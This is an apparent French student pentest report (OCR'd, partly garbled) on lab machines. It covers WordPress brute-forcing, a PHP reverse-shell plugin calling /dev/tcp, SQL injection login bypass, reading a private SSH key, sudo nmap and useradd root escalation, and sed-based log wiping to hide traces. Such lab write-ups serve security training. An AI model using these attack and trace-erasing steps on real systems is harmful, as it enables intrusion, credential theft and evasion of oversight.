y://192.168.1.19/239a54d2be3eb203bd126825d4a31052 vp 7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNwMILg

Beaucoup de failles seront trouvées, tentons de trouver un utilisateur au moyen de la
commande wpscan --url http.//192.168.1.19/239a54d2be3eb203bd126825d4a31052
--enumerate u --api-token 7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg :

User(s) Identified:
albert

Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
Confirmed By: Login Error Messages (Aggressive Detection)
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Et nous trouvons un utilisateur nommeé albert, tentons de brute-forcer son mot de passe
avec le dictionnaire rockyou.txt au moyen de la commande wpscan --url
http://192.168.1.19/239a54d2be3eb203bd126825d4a31052 --usernames

albert --passwords /usr/share/wordlists/rockyou.txt --api-token
7tSVkDUbaatIXEa34TaJXRV26a23Rv6NAvhaWNWMJLg :

Valid Combinations Found:
Username: albert, Password: scotlandl

Et nous finissons par trouver le mot de passe d’albert qui est donc scotland1, connectons
nous donc :

Administration email verification

Please verify that the administration email for this website is still correct. Why is this important?
Current administration email: albert@driftingblues.box

This email may be different from your personal email address.

The email is correct

Remind me later
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Et nous avons accés a la page d’administration de wordpress :

KaliLinux @8 KaliTools * KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

- Dashboard
> P
0 M Welcome to WordPress!
Ne g o
) Get Started Next Steps More Actions
b or N %
& ' .
o

Nous pouvons donc ajouter notre plugin de reverse shell, sachant que voici le code php de
celui-ci (a noter que mettre son nom dans un plugin sensé étre illégalement inséré n’est pas
la chose la plus intelligente a faire):

<?php

I

Plugin Name: BOUGHLEM Bilel Reverse Shell

Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).

Y/

exec(/bin/bash -c "bash -i >& /dev/tcp/192.168.1.14/6666 0>&1");

?2>

Nous pouvons donc activer le plugin :

Installing plugin from uploaded file:
BOUGHLEM_Bilel_Reverse.zip

Unpacking the package...

Installing the plugin...

Plugin installed successfully.

Activate Plugin Go to Plugin Installer
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Pendant que nous mettons notre machine attaquante en écoute sur son port 6666 avec la
commande nc -lvnp 6666 :

| = ~

L2¢ nc -lvip 6666

listening on [any] 6666
connect to [192.168.1.14] from (UNKNOWN) [192.168.1.19] 56832

bash: cannot set terminal process group (506): Inappropriate ioctl for device
bash: no job control in this shell
waw-datag@rt007:/var/ww/html/239a54d2be3eb203bd126825d4a31052/wp-admin$ I

Nous sommes donc dans la machine cible ! Déplacons nous dans celle-ci :

ww-data@rt007:/home$ 1ls -ali

1ls -ali
total 12
2 drwxr-xr-x

3 root

2 drwxr-xr-x 18 root

129281 drwxr-xr-x

root
root

ww-data@rt007:/home$ cd alice

cd alice

4096 Jun 18 2021 .

4096 Dec 17 2020
3 alice alice 4096 Jun 18 2021

ww-datag@rt007: /home/alice$ 1ls -ali

1s -ali

total 28

129281 drwxr-xr-x
2 drwxr-xr-x

129289 lrwxrwxrwx

129284 -rw-r—r-—-

129283 -rw-r-—-r--

129282 -rw-r--r--

129285 drwxr-xr-x

129291 -r

N = WW

1

alice
root

root

alice
alice
alice
alice
alice

alice
root

root

alice
alice
alice
alice
alice

ww-data@rt@07:/home/alice$ cat

cat user.txt

cat: user.txt: Permission denied

4096
4096
9
220
3526
807
4096
iE

user.

Jun
Jun
Jun
Dec
Dec
Dec
Dec
Jun
txt

18
18
18
17
17
17
17
18

alice

2021 .

2021
2021
2020
2020
2020
2020
2021

.bash_history — /dev/null
.bash_logout

.bashrc

.profile

.ssh

user.txt

Il semblerait qu'’il faille étre alice pour pouvoir lire le contenu de user.txt, nos droits
d'exécution et lecture sur le dossier .ssh sont notre seule piste...
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Nous avons donc copié-collé le contenu de id_rsa dans un fichier nommé id_rsa_alice dans
la machine attaquante dont nous nous servirons pour nous connecter en tant qu’elle :

ww-datag@rt007:/home/alice/.ssh$ cat id_rsa

cat id_rsa

BEGIN OPENSSH PRIVATE KEY——
b3B1lbnNzaClrZXktdjEAAAAABGSvbmUAAAAEDM9uUZQAAAAAAAAABAAABFWAAAAdzZCc2gtcn
NhAAAAAWEAAQAAAQEAV/HVquualjRNOCeHvQbB1CPsqkc6Y2N25ZpJ84H7DonP9CGo+v0/
gwHV7q4TsCfCK67x8uYoAOydI1IU6gwF17CpXydK52FxFfteLc@h9rkUKs8nIFxbxXBv8D
IiUwhtVTEY7ZcEYEBeC40OLPhBB3/70NiTRHFXPOKOWCXLUZYrSwzpg+U+45JkzkrXYZUkL
hbHOONFzVZTUESY/s06/MZAGGCI2SytalerWUiDCIB5vUB7 cKuV6YwmSIJwIrKKCSKWnfm+
bwAXZwL91v+yTt501aY/81tzBC6WbbmIbdhibjQQS6AXRXxwRdv7UrASymfktynDl4yOwX3
z01cz4xK+wAAABhNOzMfZ9MzHWAAAAdZCc2gtcnNhAAABAQC/8dWg65rWNE@4 J4e9BSHUI+
yqRzpjY3blmknzgfs0ic/0Iaj687+DAdXurhOwI8IrrvHy5igA7J0iUhTgDAXXsKL1fJ0Orn
YXEV+14tzSH2uRQqzycgXFvFcG/wM1JTCG1VMTLt lwRgQF4LjQs+EEHT/vQ2INECVC/SQ5
YJctR11tLDOmr5T7 jkmTOStdh1SQuFsc6g@XNVINQRI j+w7r8xkAYYIJZLK1oh6tZSIMIk
Hm9QHtwq5XpjCZInD2soo)Ipad+bSvABdnAv2K/7103k6Ipj/zW3MELpZtuYht2GJuNBBL
0BdHHBF2/tSsDnKZ+S3Kc0X)I7BffM7VzP)Er7AAAAAWEAAQAAAQAWEgEBBM7GLbsS jUhdb
tiAihTfqW8HgB7jYgbgsQtCyyrxE73GGQ/DwItX0UBtk67ScNL6Qcia8vQIMFP342AITYd
bgnovtCAMfxcMsccKKOPcpcfMvm@TzqRSnQOm/ fNx9QfCr5aqQs tulVSy9UWC4KIhwl 06k
ePeOu3grkXiQk3uz+6H3MdXnfqgEp@bFr7cPfLgF1ZuoUA1H1HoOpztP19Df1Vw]jISLBT
8N+ccZIuo4z8GQK3I9kHBV7Tc1AIILDXipHfYwYe+/2x1Xpxj70PP6gXkmxqwQh8UQ8QBY
dT@I98HWEZctS1+MY9ybplngeLdmfUPM1WAg0s2/dx1JAAAAgQCwZxd/EZuDde@bpgmmQ7
t5SCrDMpEb9phG8bSI9jizZNkbsgXAy j+kWRDiMvyXRj0+00jt97/ximqvUO7LX7wS0OSTMs
QyyqBik+bFk9n2yLnJHtAsHxiEoNZx/+3s610i7KsFZQUT2FQjo@QO0EoobALsviwjFXI1E
0sTmk2HN82rQAAAIEA7r1pXwyT0/zPQxxGt9YryNF12s54xeerqKzRgIq2R+jlu4sdxbVH1
FMBrPGF9razLgX1HDaRt18Bk0O4SNmEfxyF+qQ9JFpY8ayQl+G5kKO@TeFVRpXYXrQH6HTMZ
50wlwX9WqGWQMNzmAqOf/LMYovPaBfwKSN9@1sm9zhnMLiTFCAAACBAM3SVsLgyB3B5RI6
90ZcVMQLh8NgXcQeAaioFjMRynjY1XB15nZ2rSg/GDMQ9HUQUEA9T3Me3mel/EEatQTwFQ
uPU+NJjV7H3xFJTT1BNTQY7/telgIQL4TFDhKSKeodP2PsfUdkFe2qemWBgLTa@MHY9awQM
j+//Y1L8MfxNrak/9AAAADMZyZWRkaWVAdm1ob3NOAQIDBA=

END OPENSSH PRIVATE KEY

Nous nous connectons au moyen de la commande ssh -i id_rsa_alice alice@192.168.1.19 :

—(kali® kali)-[~]

—$ ssh -1 id_rsa_alice alice®192.168.1.19

Permissions 0644 for 'id_rsa_alice' are too open.

It is required that your private key files are NOT accessible by others.
This private key will be ignored.

Load key "id_rsa_alice": bad permissions

alice®192.168.1.19's password: [j
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Ou pas, il ne faut pas oublier de restreindre les droits sur le fichier id_rsa_alice au moyen de
la commande chmod 600 id_rsa_alice, puis nous tentons a nouveau la connexion :

— -~

— 600 id;rSa_alice

1 id_rsa ahce alice@192.168.1.19
Linux rt@07 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.
alicearteo7:~$ |

Et c’est beaucoup mieux ainsi. Nous pouvons donc lire le contenu du fichier user.txt :

alicegrt007:~% cat user.txt
08a0@7bdccd99c10d3b9e@84bca7db072

Le premier flag est donc 08a07bdccd99¢c10d3b9e084bca7db072.
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7.2 - Obtention du second flag

Que peut faire alice ? Nous le saurons au moyen de la commande sudo -/ qui listera les
commandes qu’elle peut effectuer avec des privileges de superutilisateur :

alicedrt007:~$ sudo -1
Matching Defaults entries for alice on rtee7:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User alice may run the following commands on rt@e7:
(root) NOPASSWD: /usr/bin/nmap

Une combinaison des trois commandes qui sont connues et répertoriées en ligne (GTFO
Bins) permettent d’utiliser nos privileges sur nmap pour obtenir un shell de superutilisateur :

TF=$(mktemp)
echo ‘os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

Sachant que rapidement expliquées, ces commandes vont exploiter une fonctionnalité
avancée de nmap permettant d'exécuter des scripts personnalisés :

TF=$(mktemp) va créer un fichier temporaire sécurisé et stocker son chemin dans la
variable TF.

echo 'os.execute("/bin/sh")" > $TF va écrire le code Lua os.execute("/bin/sh") dans le fichier
temporaire. Ce code, lorsqu'il est exécuté, ouvre un shell (/bin/sh).

sudo nmap --script=$TF va lancer nmap avec le fichier temporaire comme script. Nmap
exécute alors le contenu du script (le code Lua), ce qui provoque l'ouverture d'un shell :

aliceart007:~$ TF=$(mktemp)

aliceqrt007:~$ echo 'os.execute("/bin/sh"™)' > $TF

aliceqrt007:~$% sudo nmap --script=$TF

Starting Nmap 7.70 ( https://nmap.org ) at 2024-12-10 11:45 CST

NSE: Warning: Loading '/tmp/tmp.G09GjJrxx8' -- the recommended file extension is '.nse'.

|
Nous pouvons donc lire le fichier flag root.txt :

# root
# # root.txt
#f 4ea0839303760b96431f491bfd983589

Et le second flag est donc 4ea0839303760b96431f491bfd983589.
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7.3 - Suppression des traces

C’est le dossier /var/log qui contient la majorité des traces de nos actions, la commande /s -/t
nous permettra d’afficher en triant les fichier en fonction de leur date de derniere
modification, découvrons donc quels fichiers nous devons modifier :

#f # total 916

-Trw-r 1
-TW-r
-TW-r
-TwW-rw-r--
-rw-rw-r--
-TW-rw—
drwxr-xr-x
-TW-r
-TwW-r
-TW-r
-TW-T
-TwW-r
-TwW-r
drwxr-xr-x
-rw-r-—-r--
drwxr-x—
-rw-r-——r--
-TwW-r
-TW-r
-Tw-r
-rw-r--r--
-rw-r--r--
-TW-TW—
drwx

N = = e N N R R e N e e e

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

adm 4025
adm 2288
adm 3515
utmp 292292
utmp 12288
utmp 1152
root 4096
adm 0
adm 0
adm 147
adm 188073
adm 86166
adm 321794
root 4096
root 0
adm 4096
root 0
adm 7390
adm 216555
adm 28653
root 3197
root 4165
utmp 0
root 4096

Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Dec
Jun
Jun
Dec
Dec

10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
10
18
18
17
17

11:
11:
11:
11°
11:
11:
09:
09:
09:
09:
09:
09:
09:
09:
09:
09:
09:
09:
09:
09:

45
39
39
32
32
23
46
41
41
41
41
41
41
41
41
41
41
41
41
41

2021
2021
2020
2020

auth.log
daemon. log
syslog
lastlog

wtmp

btmp

proftpd
debug
kern.log
messages
messages.1
daemon.log.1
syslog.1

apt

dpkg.log
apache2
alternatives.log
auth.log.1
kern.log.1
debug.1
dpkg.log.1
alternatives.log.1
btmp.1
private

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les
lignes contenant Dec 10 au moyen de la commande sed -i /*Dec 10/d" nomdufichier.

Ce sont donc tous les fichiers ayant comme date de dernieére modification Dec 10 que nous
modifiions de la sorte, sauf wtmp et btmp auxquels nous ne touchons pas.
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Quand aux dossiers proftpd, apt et apache2, nous observons qu’il n’y a pas besoin de
modifier apt qui ne contient que des fichiers vides, quant a apache2, nous utiliserons la
méme commande que précédemment sauf que 'argument de début de ligne pour la

suppression sera [Tue Dec 10 au lieu de Dec 10. Et pour proftpd, nous observons qu’il faut
totalement vider les fichiers proftpd.log et xferlog, chose faite au moyen de la commande

echo -n > fichier.

Et enfin, nous n’oublions pas de supprimer la preuve la plus contrainte étant le plugin de

reverse shell.

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion ou méme

d’activité suspecte (hmap et gobuster par exemple) sur la machine cible.
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LA REUNION

Machine 8

8.1 - Obtention du premier flag

Nous commencgons par effectuer un nmap pour connaitre I'adresse IP de la machine cible :

Nmap scan report for 192.168.50.249
Host is up (0.0017s latency).

Obtenons plus d’informations sur la cible avec la commande nmap -A 192.168.50.249 :

A 192.168.50.249
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 09:14 +04
Nmap scan report for 192.168.50.249
Host is up (0.0012s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb1@u2 (protocol 2.0)
ssh-hostkey:
2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
_http-server-header: Apache/2.4.38 (Debian)
http-cookie-flags:
4
PHPSESSID:
_ httponly flag not set
http-title: Lot Reservation Management System
_Requested resource was /lot/
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.44 seconds

Et service ssh et un service http donc, commencgons par analyser ce dernier :

(¢] O & 19216850249

Lot Reservation Management System Home  HouseModels  About

Welcome to Lot Reservation Management System

Find Lot/House

Price Range

0-100,000
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Nous avons donc a faire a un systéme de gestion des réservations de lots... Tentons de
trouver des répertoires et fichiers cachés au moyen de la commande gobuster dir -u
http://192.168.50.249 -w /usr/share/dirb/wordlists/common.txt :

p— \ -

L$ gobuster dir -u http://192.168.50.249 -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.50.249

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 279]
/.htpasswd (Sta 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/index.php ytatus: 2) [Size: 1]

/server-status (Statu 403) [Size: 279]

Progress: 4614 / 4615 (99.98%)

Finished

Mais rien d’intéressant. Et c’est normal puisque les potentielles ressources contenues dans
le dossier lot ne sont pas testées, testons les donc au moyen de la commande gobuster dir
-u http://192.168.50.249/lot -w /usr/share/dirb/wordlists/common.txt :

— )= [~

L¢ gobuster dir -u http://192.168.50.249/10ot -w /usr/share/dirb/wordlists/common.txt

Gobuster v3.6
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://192.168.50.249/10t

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirb/wordlists/common. txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.6

[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/.hta (Status: 403) [Size: 279]
/.htaccess (Stat 403) [Size: 279]
/.htpasswd (st 5: 403) [Size: 279]
/admin Stat 301) [Size: 320]
/assets 1) [Size: 321]
/css 01) [Size: 318]
/database > s: 301) [Size: 323]
/index.php (Status: 200) [Size: 17722]
/is 301) [Size: 317]

Progress: 4614 / 4615 (é9.98%)

Finished
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Et voila qui est beaucoup mieux, testons donc ces repertoires :

O & 19216850249

Une page de login, nous testons donc des combinaisons de login/mot de passe connues
telles que admin/admin ou admin/password mais sans succes, testons si cette page de
connexion est vulnérable ou pas aux injections SQL :

| Lot Resarvetion Managerment Syse X
€ c O & 15216850249
Et bingo :
8 It tion Manag:
& c O & 19216850249

Lot Reservation Management System

Welcome back Administrator!

= Reserved List

M Division List

Q Lot List 3
A Model Houses

3% Users Taken Lots

& System Settings Phase 1

Total Lots '!l

oW ® @ &8 -

Administrator ¥

" = » a

. —
Total Taken Lots m s Model Houses Ty




Nous sommes connecté en tant que I'administrateur du domaine de login admin, le login que
nous avons saisi est (' OR '1'='1" -- ) sans oublier I'espace a la fin, ce qui va donc
interrompre les conditions de la commande qui est en cours d'exécution sur le serveur, et
mettre comme condition (autre que la validité de la combinaison login/mot de passe) que 1
vaut 1 ce qui sera toujours vrai et ce qui permettra donc de se connecter avec un utilisateur
qui dans notre cas sera admin. Tout le reste de la commande exécutée sur le serveur sera
mis en commentaire.

En explorant la page, nous trouvons une option nous proposant d’'insérer une image, et si le
serveur ne teste pas le type du fichier inséré, nous pourrions tenter d’insérer le méme code
de reverse shell que les machines précédentes (en adaptant I'adresse IP) :

=] LotR 3
<« (¢] O & 19216850249 B % w ®@ H - @ =
Lot Reservation Management System Administrator ¥

A Home

System Name

= Reserved List

Lot Reservation Management System

M Division List Email

Q Lot List info@sample.comm
A Model Houses Contact

&% Users

About Content
Q¢ System Settings

Normal - A B J UjsiZEx, » EEEEZE Scogb . — &

is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an
unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic
typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more
recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.

Image

Parcourir... | Aucun fichie

Voici le code php dont nous avons adapté I'adresse IP de la machine ciblé par la demande
de shell :

<?php

I

Plugin Name: BOUGHLEM Bilel Reverse Shell

Description: C’est ce plugin qui nous permettra d’avoir un shell avec un utilisateur ordinaire
(plus ou moins).

Y/

exec(/bin/bash -c "bash -i >& /dev/tcp/192.168.50.179/6666 0>&1");

2>

SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM




DE LA REUNION

SAE3.CYBER.04 Découverte du pentesting. BOUGHLEM

Et tentons de I'insérer dans la machine cible pendant que nous mettons la machine
attaquante en écoute au moyen de la commande nc -lvnp 6666:

— -lvnp 6666
listening on [any] 6666

connect to [192.168.50.179] from (UNKNOWN) [192.168.50.249] 48684

bash: cannot set terminal process group (500): Inappropriate ioctl for device
bash: no job control in this shell

www-data@rt@08: /var/ww/html/lot/admin/assets/uploads$ |

Et nous obtenons un shell avec www-data, explorons donc le systeme de la machine cible :

ww-datagrtees8: /etc$ cd /home
cd /home

ww-datagrt@08: /home$ s

1s

ppp
www-data@rt008: /home$ cd ppp

cd ppp
waw-data@rt@08: /home/ppp$ 1s

1s

user.txt

waw-data@rt008: /home/ppp$ cat user.txt
cat user.txt

cat: user.txt: Permission denied

Mais nous n’avons pas les droits suffisants pour lire le fichier /Thome/ppp/user.txt, quels sont
les droits sur le fichier ? Affichons les avec la commande /s -ali user.txt :

ww-datagrt008: /home/ppp$ ls -ali user.txt

ls -ali user.txt
407525 -r— 1 ppp ppp 33 Jun 18 2021 user.txt

Seul I'utilisateur ppp peut le lire. Tentons donc de trouver une faille dans la machine afin de
pouvoir lire le fichier.
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Explorons les fichiers de configuration de la machine cible :

ww-datagrt@es8:/etc$ 1s -m

1s -m

X11, adduser.conf, adjtime, alternatives, apache2, apm, apparmor, apparmor.d,
apt, avahi, bash.bashrc, bash_completion, bash_completion.d,
bindresvport.blacklist, binfmt.d, ca-certificates, ca-certificates.conf,
calendar, chatscripts, console, console-setup, cron.d, cron.daily, cron.hourly,
cron.monthly, cron.weekly, crontab, cups, dbus-1, debconf.conf, debian_version,
default, deluser.conf, dhcp, dictionaries-common, discover-modprobe.conf,
discover.conf.d, dpkg, emacs, environment, fail2ban, fonts, foomatic, fstab,
fuse.conf, gai.conf, ghostscript, groff, group, group-, grub.d, gshadow,
gshadow-, gss, hdparm.conf, host.conf, hostname, hosts, hosts.allow, hosts.deny,
hp, init.d, initramfs-tools, inputrc, insserv.conf.d, iproute2, iptables, issue,
issue.net, kernel, kernel-img.conf, ld.so.cache, ld.so.conf, ld.so.conf.d, ldap,
libaudit.conf, libpaper.d, locale.alias, locale.gen, localtime, logcheck,
login.defs, logrotate.conf, logrotate.d, machine-id, magic, magic.mime, mailcap,
mailcap.order, manpath.config, mime.types, mke2fs.conf, modprobe.d, modules,
modules-load.d, monit, motd, mtab, mysqgl, nanorc, network, networks,
nsswitch.conf, opt, os-release, pam.conf, pam.d, papersize, passwd, passwd-,
perl, php, pnm2ppa.conf, polkit-1, ppp, profile, profile.d, protocols, python,
python2.7, python3, python3.7, rc@0.d, rcl.d, rc2.d, rc3.d, rc4.d, rc5.d, rcé6.d,
rcS.d, reportbug.conf, resolv.conf, resolvconf, rmt, rpc, rsyslog.conf,
rsyslog.d, sane.d, securetty, security, selinux, sensors.d, sensors3.conf,
services, shadow, shadow-, shells, skel, snmp, ssh, ssl, subgid, subgid-,
subuid, subuid-, sudoers, sudoers.d, sysctl.conf, sysctl.d, systemd, terminfo,
timezone, tmpfiles.d, ucf.conf, udev, ufw, update-motd.d, usb_modeswitch.conf,
usb_modeswitch.d, vim, vmware-tools, wgetrc, xattr.conf, xdg

Et nous remarquons un dossier ppp, ce n’est clairement pas un dossier normal et surement
un dossier lié a 'utilisateur dont nous voulons obtenir les droits, analysons donc :

ww-datagrtees8: /etc/ppp$ ls
1s
chap-secrets
1p-down
ip-down.d
1p-up
ip-up.d
1pv6-down
1pv6-down.d
1pv6-up
ipv6-up.d
options
pap-secrets
peers
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Et nous trouvons trois ressource intéressantes :

ww-datagrt008: /etc/ppp$ cat peers

cat peers

cat: peers: Permission denied
ww-datagrt008: /etc/ppp$ cat pap-secrets
cat pap-secrets

cat: pap-secrets: Permission denied

Deux fichiers sur lesquels nous n’avons pas les droits et qui nous peuvent nous intéresser
pour la suite, et surtout ce fichier contenant la combinaison login/mot de passe suivante :

cat chap-secrets

# Secrets for authentication using CHAP

# client server secret IP addresses
ppp * ESRxd7856HVIB *

Tentons donc de nous connecter en ssh en utilisant cette combinaison login/mot de passe
au moyen de la commande ssh ppp@192.168.50.249 :

p— )= ~

L¢ ssh ppp@192.168.50.249

The authenticity of host '192.168.50.249 (192.168.50.249)" can't be established.
ED25519 key fingerprint is SHA256:0g5PeW60ONFQK11BgDmFZM6/cXGG1tF4CMCbKMwTshU.
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.249' (ED25519) to the list of known hosts,
ppp®192.168.50.249's password:

Linux rt@08 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Sun Dec 6 09:55:59 2020

pppartoes:~$ i
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Et nous pouvons donc accéder au flag :

pppart008:~$ cat user.txt
2def56a4baeb5d3699246edd6f705e32

Le premier flag est donc 2def56a4baeb5d3699246edd6f705e32.
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8.2 - Obtention du second flag

A partir des privilégiés de I'utilisateur ppp, tentons d’obtenir le flag root, mais avant tout,
quels sont nos privileges ? Nous le saurons en employant la commande sudo -/ :

pppart0es:~$ sudo -1
Matching Defaults entries for ppp on rt@es:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ppp may run the following commands on rt@@8:
(root) NOPASSWD: /usr/sbin/useradd *

Tous les droits sur la commande useradd, aprés quelques recherches, il existe encore une
fois une commande qui permet de créer un utilisateur avec des droits de superutilisateur, la
commande est sudo /usr/sbin/useradd -u0 -g0 -o -s /bin/bash -p "openssl passwd
BOUGHLEM"® du32c :

pppart008:~$ sudo /usr/sbin/useradd -u@ -g@ -o -s /bin/bash -p “openssl passwd BOUGHLEM du32c
ppparte0s8:~$ su du32c

Password:

root@rt@08:/home/ppp# [

Et nous pouvons donc accéder au flag :

rootart@08:/home/ppp# cd /root
rootgrt008: /root# ls

root.txt

rootart@08:/root# cat root.txt
82c426T0c4c9c730de52f09eb3447459

Le second flag est donc 82¢c426f0c4c9c730de52f09eb34474509.
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8.3 - Suppression des traces
Il faut donc supprimer l'user du32c créé, nous utiliserons la commande userdel du32c :

rootart008: /root#f userdel du32c
bash: userdel: command not found

Mais la commande n’est pas installée, pas le choix, il faudra modifier manuellement les
fichiers de configuration dans lesquels cet utilisateur existe que I'on affiche au moyen de la
commande grep -r “du32c”. :

rootart008:/etc# grep -r "du32c”
./subgid:du32c:231072:65536
./subuid:du32c:231072:65536
./passwd:du32c:x:0:0:: /home/du32c:/bin/bash
./shadow:du32c:8ai1554)SgeE3s:20069:0:99999:7 :::

Nous supprimons cette ligne de /etc/subgid et /etc/subuid (la ligne est la méme) :

du32c:231072:65536

Nous supprimons cette ligne de /etc/passwd :

du32c:x:0:0:: /home/du32c:/bin/bash

Nous supprimons cette ligne de /etc/shadow :

du32c:8a15547S¢eE35:20069:0:99999:7 :::
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Il faut également effacer les traces que nous avons laissé dans les fichiers du dossier

/var/log qui contient la majorité des traces de nos actions, la commande /s -/t nous permettra
d’afficher en triant les fichier en fonction de leur date de derniére modification, découvrons
donc quels fichiers nous devons modifier :

rootyrtoes: /var/loge 1s -1t

total 616

-rw-r—— 1 root
-TwW-r- 1 root
= PW= [ =—— 1 root
-FW=-I ——— 1 root

-rW- —— ]

root

4
-rw-rw-r— 1 root
|

-PW-ru-r— root
-I'W=I ——— 1 root
-rw-r—— 1 root
-rw-r-——— 1 root
-r'w-r—r-— 1 root
-rw-r-—-r- 1 root
drwxr-xr-x 2 root
-IW-Tr- 1 root
drwxr-s-— 2 mysql
-I'W=-T — 1 root
-rw-r-—— 1 root
drwxr-xr-x 2 root
-rw-rw— 1 root
-rw-r—— 1 root
drwxr-x-— 2 root
-Irw-r- 1 root
-r'w-r—— 1 root
-IW-I ——— 1 root
-I'W=T — 1 root
-Fu-r- 1 root
-rw-r—— 1 root
-IW-I ——— 1 root
-rw-r—— 1 root
-r'w-r- 1 root
-TW-TW- 1 root
-r'w-r-—-r-— 1 root
-rw-r-—-r- 1 root
-rw-r-—-r-— 1 root
-rw-r—— 1 root
-I'W=T — 1 root
-rw-r—— 1 root
-rw-r—— 1 root
-rw-r—— 1 root
-rw-r—— 1 root
drwx ————m—H 2 root

drwxr-xr-x 3 root

drwxr-xr-x 3 root

adm
adm
adm
adm
adm
utmp
utmp
adm
adm
adm
root
root
root
adm
adm
adm
adm
root
utmp
adm
adm
EL ]
adm
adm
adm
adm
adm
adm
adm
adm
utmp
root
root
root
adm
adm
adm
adm
adm
adm
root
root
root

33737 Dec 12 06:44 daemon.log
126846 Dec 12 06:44 SVEIO;
91337 Dec 12 06:44 kern.log
BO7B3 Dec 12 06:44 messages
6497 Dec 12 06:39 auth.log
292292 Dec 12 06:13 lastlog
13440 Dec 12 06:13 wtmp
37045 Dec 12 ©5:51 fail2ban.log
509 Dec 12 04:53 user.log
14659 Dec 12 04:53 debug
3197 Jun 18 2021 dpkg.log
4165 Jun 18 2021 alternatives.log
4096 Jun 18 2021 apt
4096 Jun 18 2021 messages.1
4096 Jun 18 2021 mysql
4096 Jun 18 2021 daemon.log.1l
4096 Jun 18 2021 syslog.1
4096 Jun 18 2021 cups
® Jun 18 2021 btmp
® Jun 18 2021 kern.log.1
4096 Jun 18 2021 apache2
11288 Jun 18 2021 fail2ban.log.1
13 Jun 18 2021 auth.log.1
® Jun 18 2021 debug.1
4B60 Dec 6 2020 daemon.lo

g
19548 Dec 2020 messages.2.gz
29097 Dec 2020 syslog.2.gz
B1B Dec 2020 auth.log.2.gz
21727 Dec 2020 kern.log.2.gz

6
6
6
6
1890 Dec 6 2020 debug.2.gz
384 Dec 5 2020 btmp.1
@ Dec 5 2020 dpkg.log.1
@ Dec S5 2020 alternatives.log.1
0 Dec 5 2020 faillog
20 Dec S5 2020 auth.log.3.gz
20 Dec 5 2020 daemon.log.3.
5 2020 debug.3.gz
5 2020 kern.log.3.
5
-

20 Dec

20 Dec g

20 Dec 2020 messages.3.g

20 Dec 2020 syslog.3.gz
4096 Oct 10 2020 private
4096 Oct 10 2020 installer
4096 Oct 10 2020 hp

Et pour vider les fichiers de seulement nos actions, nous les modifions en supprimant les

lignes contenant Dec 12 au moyen de la commande sed -i /*Dec 12/d" nomdufichier.

Ce sont donc les fichiers daemon.log, syslog, kern.log, messages, auth.log, lastlog, wtmp,
user.log et debug que nous modifions de la sorte.
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Quant au fichier fail2ban.log, qui posséde une syntaxe différente, nous effectuons la méme
commande sauf que I'argument de début de ligne pour la suppression sera 2024/12/12 au
lieu de Dec 12. Fail2ban qui au passage aurait pu bloquer notre adresse IP si hous avions

manqué de prudence lors des étapes précédentes de I'attaque de la machine...

Nous avons donc obtenu les deux flags puis supprimé les traces d’intrusion sur la machine

cible.
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Machine 9

9.1 - Obtention du premier flag

Pour cette machine, nous n’avons pas besoin d’effectuer de nmap sur le réseau puisqu’il
